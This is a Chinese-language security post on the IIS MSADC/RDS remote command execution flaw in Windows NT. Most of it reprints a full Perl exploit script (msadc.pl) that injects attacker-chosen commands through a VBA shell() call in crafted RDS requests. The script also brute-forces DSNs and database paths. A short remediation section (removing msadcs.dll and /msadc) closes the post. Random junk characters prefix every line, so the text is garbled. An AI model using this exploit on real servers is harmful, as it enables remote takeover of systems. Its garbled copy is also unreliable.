IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
q^Ui2 [pzo[0G 'v 涉及程序:
#9/S2m2\YG Microsoft NT server
#XeEpdE F* _ytL 描述:
>jRH<|Az 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
f^[u70c82 A3A"^f$$ 详细:
#eY?6Kjn 如果你没有时间读详细内容的话,就删除:
-&0H Atc c:\Program Files\Common Files\System\Msadc\msadcs.dll
ia*Bcx_RW+ 有关的安全问题就没有了。
h,x'-]q O[5u6heNMr 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
*kq>Z 06'i &\5%C\0Z< 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
A)HV#T`N 关于利用ODBC远程漏洞的描述,请参看:
;@/vKA3l. iu+rg(*% http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm I,7n-G_' oLc 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
v"V? http://www.microsoft.com/security/bulletins/MS99-025faq.asp pKhV<MFB 9;L50q>s 这里不再论述。
~PA6e+gmL *3h!&.zm 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
.]LP327u wh#x`Nc /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
,K8(D<{ 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
/rzZU} 3[ @YI-@ BE,H`G #h #将下面这段保存为txt文件,然后: "perl -x 文件名"
lQt* LWd[ (R^Ca7F #!perl
A08{]E#v> #
L=)Arj@q # MSADC/RDS 'usage' (aka exploit) script
X0BBJ( e #
Vbp`Rm1? # by rain.forest.puppy
[' cq #
(k<__W c_t # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
(T8dh| # beta test and find errors!
dL|*#e f1RX`rXf use Socket; use Getopt::Std;
4L/8Hj#g getopts("e:vd:h:XR", \%args);
(E<QA /u pDbP.O print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
h%!N!\ YnwP\Arfq if (!defined $args{h} && !defined $args{R}) {
r1AG1Y print qq~
`t Zw(Z=h Usage: msadc.pl -h <host> { -d <delay> -X -v }
}Oe9Zq -h <host> = host you want to scan (ip or domain)
!~a1xI~s -d <seconds> = delay between calls, default 1 second
{f[X) -X = dump Index Server path table, if available
O;SD90 -v = verbose
V"W)u#4, -e = external dictionary file for step 5
*S\/l-D :'K%&e?7s Or a -R will resume a command session
$#HUxwx4 Sj9NhtF]f ~; exit;}
M|\C@,F]8 |s{[<; $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
=(]||1. if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
%z5P%F'5 if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
PXDwTuyc if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
Bw*6X`'Q $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
/]hE?cmj if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
5 $:
q 5}he)2*uD if (!defined $args{R}){ $ret = &has_msadc;
Fy-|E>@]D die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
.J.|
S4D Y]9C 8c) print "Please type the NT commandline you want to run (cmd /c assumed):\n"
50Y^##]& . "cmd /c ";
?%wM 8? $in=<STDIN>; chomp $in;
p<AzpkU,A $command="cmd /c " . $in ;
Vv~:^6il `ILO]+`5 if (defined $args{R}) {&load; exit;}
:yE7jXB }@NT#hD print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
5d5q0bb &try_btcustmr;
;(~H(]D P'p5-l UK print "\nStep 2: Trying to make our own DSN...";
#hP&;HZ2>" &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
_%6Vcy &+-]!^2o print "\nStep 3: Trying known DSNs...";
@DK;i_i &known_dsn;
0OPpA Ll [XDr-5Dm print "\nStep 4: Trying known .mdbs...";
#`b5kqQm &known_mdb;
k5TPzm=y{ X7{ h/^ if (defined $args{e}){
;sfk@ec print "\nStep 5: Trying dictionary of DSN names...";
E|5lm &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
drEND`,@6| Yn1CU print "Sorry Charley...maybe next time?\n";
Fc.1)yh. exit;
:}}~ $$& ~@N0$S ##############################################################################
RlnJlY/ ?j-;;NNf sub sendraw { # ripped and modded from whisker
E-XFW]I sleep($delay); # it's a DoS on the server! At least on mine...
N77EM my ($pstr)=@_;
{wyf>L0j socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
8
!+eq5S3 die("Socket problems\n");
oCR-KR>{Q if(connect(S,pack "SnA4x8",2,80,$target)){
n>
O3p
~ select(S); $|=1;
t}2$no? print $pstr; my @in=<S>;
$ H2HVJ select(STDOUT); close(S);
(&ABfm/t return @in;
'k9dN
\ev } else { die("Can't connect...\n"); }}
OX*5 yT{ xXm:S{I ##############################################################################
- |j4u#z TWk1`1| sub make_header { # make the HTTP request
kG70j{gf my $msadc=<<EOT
@N,I}_ 9- POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
okv`v
({ User-Agent: ACTIVEDATA
Fu6~8uDV{{ Host: $ip
EABy<i Content-Length: $clen
cnwpd%]o Connection: Keep-Alive
990sE
t? X'KkIo
: ADCClientVersion:01.06
-+w^"RBV Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
XVNJ3/ GO=3<Q{; --!ADM!ROX!YOUR!WORLD!
a54qv^IS Content-Type: application/x-varg
PDH00(#;+ Content-Length: $reqlen
b+3QqbJ[F H&3i[D!p EOT
oiY&O]} ; $msadc=~s/\n/\r\n/g;
^lYa9k return $msadc;}
@Nk]f #pm0T1+jW ##############################################################################
|.c|\e z/ ("$ ,FRTQ: sub make_req { # make the RDS request
mFu0$N6]H my ($switch, $p1, $p2)=@_;
5\|u]
~b my $req=""; my $t1, $t2, $query, $dsn;
M4m90C;dq I:9jn" if ($switch==1){ # this is the btcustmr.mdb query
,}hJ) $query="Select * from Customers where City=" . make_shell();
eFiUB $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
&@anv.D $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
G,6Zy-Y9 O.g!k"nas& elsif ($switch==2){ # this is general make table query
9X6l`bo' $query="create table AZZ (B int, C varchar(10))";
Jf|6 FQo& $dsn="$p1";}
dDoKmuY>5 #Z.2g]. elsif ($switch==3){ # this is general exploit table query
!p#+I= $query="select * from AZZ where C=" . make_shell();
/"*eMe!= $dsn="$p1";}
_>"f&nbO ywS2`( elsif ($switch==4){ # attempt to hork file info from index server
V=LJ_T"z0 $query="select path from scope()";
si|DxDx $dsn="Provider=MSIDXS;";}
wqyrs|P Q+]9Glz9 elsif ($switch==5){ # bad query
/o)o7$6Q $query="select";
fX[6
{ $dsn="$p1";}
lImg+r T{ "2~%-;c $t1= make_unicode($query);
6s$jt-bH $t2= make_unicode($dsn);
/y<nAGtD& $req = "\x02\x00\x03\x00";
K@UQ O $req.= "\x08\x00" . pack ("S1", length($t1));
TUaW' $req.= "\x00\x00" . $t1 ;
E")g1xGaK $req.= "\x08\x00" . pack ("S1", length($t2));
O5?Gv??@ $req.= "\x00\x00" . $t2 ;
Ws>2S $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
nD8CP[bRo return $req;}
ca{u"n 'eRJQ*0F ##############################################################################
3.^Tm+ C '3MCb sub make_shell { # this makes the shell() statement
B}YpIb]d return "'|shell(\"$command\")|'";}
ozr82 |`50Tf\J ##############################################################################
u^!c:RfE? 861!p%y5 sub make_unicode { # quick little function to convert to unicode
_:Jra my ($in)=@_; my $out;
n6f for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
5sc`L return $out;}
S`qa_yI)Ed Z[{k-_HgAm ##############################################################################
uK5&HdoM Q-:IE
T sub rdo_success { # checks for RDO return success (this is kludge)
E3a^)S{ my (@in) = @_; my $base=content_start(@in);
KS6H`Mm}/ if($in[$base]=~/multipart\/mixed/){
_Ka6! 9 return 1 if( $in[$base+10]=~/^\x09\x00/ );}
'"/Yk=EmlU return 0;}
XW*,Lo5>H\ @\|W#,~ ##############################################################################
=vaC?d3 z:_o3W.E sub make_dsn { # this makes a DSN for us
U=a'(fX my @drives=("c","d","e","f");
#r ;;d( print "\nMaking DSN: ";
pDg_^| foreach $drive (@drives) {
8'Y7lOXS print "$drive: ";
c<PML|e my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
t'{\S_ "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
U0Y;*_>4 . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
fZ*LxL $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
.<Lbv5m return 0 if $2 eq "404"; # not found/doesn't exist
?pAO?5Z:} if($2 eq "200") {
Vif0z*\e{ foreach $line (@results) {
;GgW&*| return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
=QiVcw,G# } return 0;}
)t-Jc+*A> wf=
s-C ##############################################################################
^^-uq)A W_ = sub verify_exists {
SX4"HadV> my ($page)=@_;
P})Iwk|Z my @results=sendraw("GET $page HTTP/1.0\n\n");
8<VO>WA>E return $results[0];}
L:(>ON E(;V.=I ##############################################################################
l-Q.@hG *nPB+@f sub try_btcustmr {
DD4fV`:kG my @drives=("c","d","e","f");
[=
GVK my @dirs=("winnt","winnt35","winnt351","win","windows");
>Mzk;TM }c"1;C&{ foreach $dir (@dirs) {
jv
C.T]<B print "$dir -> "; # fun status so you can see progress
.=nx5yz foreach $drive (@drives) {
![{>$Q?5
print "$drive: "; # ditto
;B'5B]A3 $reqlen=length( make_req(1,$drive,$dir) ) - 28;
NX?IM8\t $reqlenlen=length( "$reqlen" );
$\DOy&e $clen= 206 + $reqlenlen + $reqlen;
ygvX}q P a{)@xT my @results=sendraw(make_header() . make_req(1,$drive,$dir));
J*lKXFq7 if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
l|O)B # else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
|Mm9QF;iA H</Mh*Fl2G ##############################################################################
99\;jz7 ?ep'R&NV sub odbc_error {
F>0[v|LG my (@in)=@_; my $base;
UA{tmIC\ my $base = content_start(@in);
h#o3qY if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
]7d~,<3R $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
Kc>C$}/}$ $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
x1$:u6YD22 $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
PyS~2)=B return $in[$base+4].$in[$base+5].$in[$base+6];}
4r&S&^ print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
KVvzVQ1 print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
cNX0.7Ls $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
33{(IzL0 WCg*TL} ##############################################################################
%SwN/rna z g@,s"`> sub verbose {
Ls<.&3X2 my ($in)=@_;
I-fjqo3 return if !$verbose;
RW!_ZzZ print STDOUT "\n$in\n";}
#9{9T"ed 9'qU4I ##############################################################################
YSvZ7G(m> '%u7XuU-] sub save {
.)7r /1o my ($p1, $p2, $p3, $p4)=@_;
?9_RI(a.} open(OUT, ">rds.save") || print "Problem saving parameters...\n";
>#q2KXh print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
`+4>NT6cu9 close OUT;}
,<^7~d{{3m UogkQ& B ##############################################################################
c\n&Z'vK V>{G$(v$ sub load {
Bc/'LI.% my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
M<A*{@4$w& open(IN,"<rds.save") || die("Couldn't open rds.save\n");
X_7cwPY @p=<IN>; close(IN);
=?*6lS}gy $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
Lqt.S| $target= inet_aton($ip) || die("inet_aton problems");
Koi print "Resuming to $ip ...";
aXoD{zA $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
tA?cHDp4E if($p[1]==1) {
>d`XR"_e $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
SG&VZY $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
y U-^w^4 my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
|NbF3 fD if (rdo_success(@results)){print "Success!\n";}
B]`!L/ else { print "failed\n"; verbose(odbc_error(@results));}}
aw0; elsif ($p[1]==3){
X" hoDg if(run_query("$p[3]")){
sG/mmZHYzr print "Success!\n";} else { print "failed\n"; }}
9(9+h]h+3 elsif ($p[1]==4){
.%.kEJh` if(run_query($drvst . "$p[3]")){
JJ50(h)U print "Success!\n"; } else { print "failed\n"; }}
]%{.zl! exit;}
x2#5"/~4 BEQ$p)
h ##############################################################################
8sDbvVh1F 23lLoyN sub create_table {
x}g5 my ($in)=@_;
ECO4ut.d $reqlen=length( make_req(2,$in,"") ) - 28;
F/"Q0% (m $reqlenlen=length( "$reqlen" );
"Ih>>|r $clen= 206 + $reqlenlen + $reqlen;
V)$y my @results=sendraw(make_header() . make_req(2,$in,""));
NZJ:@J=- return 1 if rdo_success(@results);
jm-J_o;}z6 my $temp= odbc_error(@results); verbose($temp);
QFP3S( return 1 if $temp=~/Table 'AZZ' already exists/;
hPCt- return 0;}
E&\dr;{7 >@NH Al ##############################################################################
uhyw?#f 0!D,74r sub known_dsn {
m15MA.R> # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
fn%Gu s~ my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
7,i}M "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
*wgHa6?+7 "banner", "banners", "ads", "ADCDemo", "ADCTest");
Q}KNtNCpx 5E~?hWAv foreach $dSn (@dsns) {
Dq#/Uw# print ".";
|H:JwxH next if (!is_access("DSN=$dSn"));
.6,+q2tyk, if(create_table("DSN=$dSn")){
(xp<@- print "$dSn successful\n";
Ywj=6 +; if(run_query("DSN=$dSn")){
CDDx %#eG> print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
7x/S4Gs'4 print "Something's borked. Use verbose next time\n";}}} print "\n";}
E<[_L!2 -BY'E$]4 ##############################################################################
bYuQ"K
A$ 0_}^IiG sub is_access {
wq[\Fb` my ($in)=@_;
[0_JS 2KE $reqlen=length( make_req(5,$in,"") ) - 28;
`EV"
/&` $reqlenlen=length( "$reqlen" );
a@|/D\C $clen= 206 + $reqlenlen + $reqlen;
R^}}-Dvr my @results=sendraw(make_header() . make_req(5,$in,""));
G}o?lo\#h my $temp= odbc_error(@results);
L<kIzB ! verbose($temp); return 1 if ($temp=~/Microsoft Access/);
e&Z\hZBb return 0;}
T;cyU9 Wq bfZx ##############################################################################
g/)$-Z)Nu }PZz(Ms sub run_query {
R&w2y$ my ($in)=@_;
c0J=gZiP $reqlen=length( make_req(3,$in,"") ) - 28;
/jR]sC)xs $reqlenlen=length( "$reqlen" );
i[:S *`@S $clen= 206 + $reqlenlen + $reqlen;
2v!ucd} my @results=sendraw(make_header() . make_req(3,$in,""));
?;{fqeJz return 1 if rdo_success(@results);
g$&uD my $temp= odbc_error(@results); verbose($temp);
)V!9/d return 0;}
r52X}Y '~dE0ohWb ##############################################################################
K3eYeXV w#?@ulr]d sub known_mdb {
Hpo/CY/ my @drives=("c","d","e","f","g");
0-)D`s% my @dirs=("winnt","winnt35","winnt351","win","windows");
$ae*3L>5M my $dir, $drive, $mdb;
b.qp&2 A my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
nI1DLVt &cjE+ # this is sparse, because I don't know of many
KY)rkfo B my @sysmdbs=( "\\catroot\\icatalog.mdb",
DzZ)aE "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
Hx}K
wS "\\system32\\certmdb.mdb",
<Tq&Va_w "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
ya81z4? V:M$-6jv my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
"W_C%elg "\\cfusion\\cfapps\\forums\\forums_.mdb",
&&iZ?JteZ "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
GCxtW FXH "\\cfusion\\cfapps\\security\\realm_.mdb",
=AFTB<7-^ "\\cfusion\\cfapps\\security\\data\\realm.mdb",
| v?
pS "\\cfusion\\database\\cfexamples.mdb",
t6.hg3Y "\\cfusion\\database\\cfsnippets.mdb",
m){.{Vn] "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
\bt+46y@] "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
x+V;UD=mH "\\cfusion\\brighttiger\\database\\cleam.mdb",
)I80Nq
"\\cfusion\\database\\smpolicy.mdb",
#A8d@]Ps "\\cfusion\\database\cypress.mdb",
Cdjh/+!f "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
5xZ *U "\\website\\cgi-win\\dbsample.mdb",
!/4f/g4Ze "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
^*7~ Wxk5 "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
M Cam c ); #these are just
1Aq*|JSk( foreach $drive (@drives) {
B;M{v5s~] foreach $dir (@dirs){
c65_E<5Z foreach $mdb (@sysmdbs) {
oE+s8Q print ".";
I0 y+,~\ if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
a8T<f/qW k print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
&a?&G'? if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
Rn O%8Hk print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
gf]biE"k } else { print "Something's borked. Use verbose next time\n"; }}}}}
|>(@n{ a:jRQ-F) foreach $drive (@drives) {
iST r;>A foreach $mdb (@mdbs) {
KlgPDV9mg print ".";
W_EM
k if(create_table($drv . $drive . $dir . $mdb)){
C24[brf print "\n" . $drive . $dir . $mdb . " successful\n";
9I>+Q& if(run_query($drv . $drive . $dir . $mdb)){
^'S0A=1 print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
GS |sx } else { print "Something's borked. Use verbose next time\n"; }}}}
t&UPU&tY }
8y}9X v !g /&ws& ##############################################################################
qvz2u]IOw cq'opjLf 5 sub hork_idx {
kBY54pl print "\nAttempting to dump Index Server tables...\n";
DG8LoWZ print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
6JWCB9$4 $reqlen=length( make_req(4,"","") ) - 28;
k%\_UYa $reqlenlen=length( "$reqlen" );
`fEB,0j^ $clen= 206 + $reqlenlen + $reqlen;
\oF79 my @results=sendraw2(make_header() . make_req(4,"",""));
^o+}3= if (rdo_success(@results)){
@R=gJ:&a my $max=@results; my $c; my %d;
hd~X c for($c=19; $c<$max; $c++){
C+-GE9= $results[$c]=~s/\x00//g;
96a A2s1 $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
aH)$#6${Ap $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
yH>`Kbf T $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
#LlHsY530N $d{"$1$2"}="";}
>:M3!6H_~{ foreach $c (keys %d){ print "$c\n"; }
R}F0_. } else {print "Index server doesn't seem to be installed.\n"; }}
!RLg[_' ;aBK4<-vl ##############################################################################
bkkhx,Oi[G |w2H5f{fR sub dsn_dict {
EWPP&(u3 open(IN, "<$args{e}") || die("Can't open external dictionary\n");
kVs'>H@FY while(<IN>){
orn9;|8q $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
b:.aZ7+4 next if (!is_access("DSN=$dSn"));
&eV& +j if(create_table("DSN=$dSn")){
_[-+%RP print "$dSn successful\n";
IM&2SSmYNH if(run_query("DSN=$dSn")){
3vPb} print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
bs!N~,6h print "Something's borked. Use verbose next time\n";}}}
o{yEF1,c\ print "\n"; close(IN);}
u2
a
U0k: FR9<$ ##############################################################################
J#B%
#X {S(d5o8 sub sendraw2 { # ripped and modded from whisker
E4RvVfA0F sleep($delay); # it's a DoS on the server! At least on mine...
<A&mc,kj my ($pstr)=@_;
a'w~7y!} socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
R6HMi#eF die("Socket problems\n");
<}-[9fW if(connect(S,pack "SnA4x8",2,80,$target)){
Pg"
uisT#> print "Connected. Getting data";
9Vz1*4Ln open(OUT,">raw.out"); my @in;
LtKiJ.j?A select(S); $|=1; print $pstr;
_ngyai1 while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
?)x>GB(9ZN close(OUT); select(STDOUT); close(S); return @in;
a&~_ba+ } else { die("Can't connect...\n"); }}
\o9-[V#Gm YQOdwcLG
##############################################################################
j<>|Hi
#` i rMZLc6 sub content_start { # this will take in the server headers
{4Y@DQ- my (@in)=@_; my $c;
Z8nj9X$ for ($c=1;$c<500;$c++) {
$8o(_8Q) if($in[$c] =~/^\x0d\x0a/){
,wE]:|`qJ if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
Mk"+*G else { return $c+1; }}}
6lO]V=+ return -1;} # it should never get here actually
|cStN[97% +9G
GC ##############################################################################
j?%^N\9 ZB GLwe sub funky {
8
$0 D-z my (@in)=@_; my $error=odbc_error(@in);
`,d*> if($error=~/ADO could not find the specified provider/){
-_Pd d[M print "\nServer returned an ADO miscofiguration message\nAborting.\n";
Qk<W(
exit;}
\bqIe}3V7 if($error=~/A Handler is required/){
W-q2|NK print "\nServer has custom handler filters (they most likely are patched)\n";
G$pTTT6# exit;}
q}>1Rr|U` if($error=~/specified Handler has denied Access/){
?D-1xnxep print "\nServer has custom handler filters (they most likely are patched)\n";
duB{1 exit;}}
^]w!ow41 J]/TxUE ##############################################################################
l CHaRR7 90> (`pI= sub has_msadc {
`rsPIOu my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
Mg;%];2Nt my $base=content_start(@results);
r#iZ FL3q return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
T:q_1W?h] return 0;}
*LpEH,J >_P7 k5Y^ ########################
D-e0q)RSU G%w.Z< qy "OF4#a17 解决方案:
Gm;)Om_ 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
~K}iVX 2、移除web 目录: /msadc